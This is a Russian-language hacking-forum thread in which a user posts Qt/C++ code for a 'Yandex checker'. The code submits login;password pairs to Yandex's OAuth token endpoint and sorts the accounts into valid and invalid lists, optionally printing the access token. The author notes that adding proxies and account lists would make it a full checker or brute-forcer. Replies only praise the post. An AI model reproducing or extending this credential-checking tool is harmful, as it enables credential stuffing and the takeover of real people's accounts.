[Гайд]Пишем Простейший Yandex Чекер

Тема в разделе "Гайды и тактика", создана пользователем rolxmc, 31 янв 2013.

  1. rolxmc

    rolxmc New Member Заблокированные

    Репутация:
    0
    Регистрация:
    17 авг 2010
    Сообщения:
    644
    Симпатии:
    0
    Всем привет.

    Сейчас я покажу, как написать Yandex Checker.




    Чекер будет работать через Яндекс.API




    [​IMG]



    Для начала подключаем поддержку сети;

    Пропишем в .pro файле:


    Код:
    QT       += core gui network 


    Пишем в заголовочном файле нашего проекта:

    Код:
    private:
    
        Ui::MainWindow *ui;
    
        QNetworkAccessManager manager;
    
        QNetworkReply *reply;
    
        QUrl apiUrl;
    
        QByteArray requestString;
    
        QString login;
    
        QString passwd;
    
    
    
    private slots:
    
        void on_pushButton_clicked();
    
        void getToken();
    
        void parseToken();
    Теперь две самые основные функции.

    Код:
    void MainWindow::getToken()
    
    {
    
        QRegExp rx("(.+);(.+)");
    
        rx.indexIn(ui->lineEdit->text()); //ищем логин и пароль
    
    
    
        login = rx.cap(1); //логин
    
        passwd = rx.cap(2); //пароль
    
    
    
        QString loginstr = "&username=" + login;
    
        QString passwdstr = "&password=" + passwd;
    
    
    
        //OAuth
    
    
    
        apiUrl = "https://oauth.yandex.ru/token";
    
    
    
        requestString.append("grant_type=password");
    
        requestString.append("&client_id=YOU_API_ID");
    
        requestString.append(loginstr.toLatin1());
    
        requestString.append(passwdstr.toLatin1());
    
    
    
        QNetworkRequest request(apiUrl);
    
    
    
        reply = manager.post(request, requestString);
    
        connect(reply, SIGNAL(finished()),this, SLOT(parseToken())); //при завершении ответа запускаем функцию parseToken()


    Код:
    void MainWindow::parseToken()
    
    {
    
        //Parse TOKEN
    
    
    
        QString source;
    
        source.append(QString::fromLocal8Bit(reply->readAll()));
    
        QRegExp rx("([a-z0-9]{31,32})");
    
        rx.indexIn(source);
    
    
    
        if (rx.cap(0) == "")
    
        {
    
            ui->plainTextEdit_2->appendPlainText(login + ";" + passwd); //если токен не найден, то пишем акк в бэды
    
        }
    
        else
    
        {
    
        ui->plainTextEdit->appendPlainText(login + ";" + passwd); //пишем в гуды
    
    //также можно выводить и токен
    
    //ui.plainTextEdit.appendPlainText("[TOKEN] : " + rx.cap(0));
    
        } 


    И, конечно, вызов:

    Код:
    void MainWindow::on_pushButton_clicked()
    
    {
    
        getToken();
    
    } 


    В итоге получил бан от Яндекс.Апi

    Для полноценного чекера/брутфорса осталось подключить подгрузку проксиков и акков.




    Для просмотра внешних ссылок необходимо зарегистрироваться либо авторизоваться

    Для просмотра внешних ссылок необходимо зарегистрироваться либо авторизоваться
     
  2. rolxmc

    rolxmc New Member Заблокированные

    Репутация:
    0
    Регистрация:
    17 авг 2010
    Сообщения:
    644
    Симпатии:
    0
  3. Prodigy

    Prodigy New Member Заблокированные

    Репутация:
    0
    Регистрация:
    10 июн 2011
    Сообщения:
    278
    Симпатии:
    0
    Молодец.

    Есть люди, которым интересно просвещать остальных + 20.
     
  4. rolxmc

    rolxmc New Member Заблокированные

    Репутация:
    0
    Регистрация:
    17 авг 2010
    Сообщения:
    644
    Симпатии:
    0
    [​IMG]
     
  5. rolxmc

    rolxmc New Member Заблокированные

    Репутация:
    0
    Регистрация:
    17 авг 2010
    Сообщения:
    644
    Симпатии:
    0
  6. Dantee

    Dantee New Member Заблокированные

    Репутация:
    0
    Регистрация:
    7 янв 2013
    Сообщения:
    848
    Симпатии:
    0
     

Поделиться этой страницей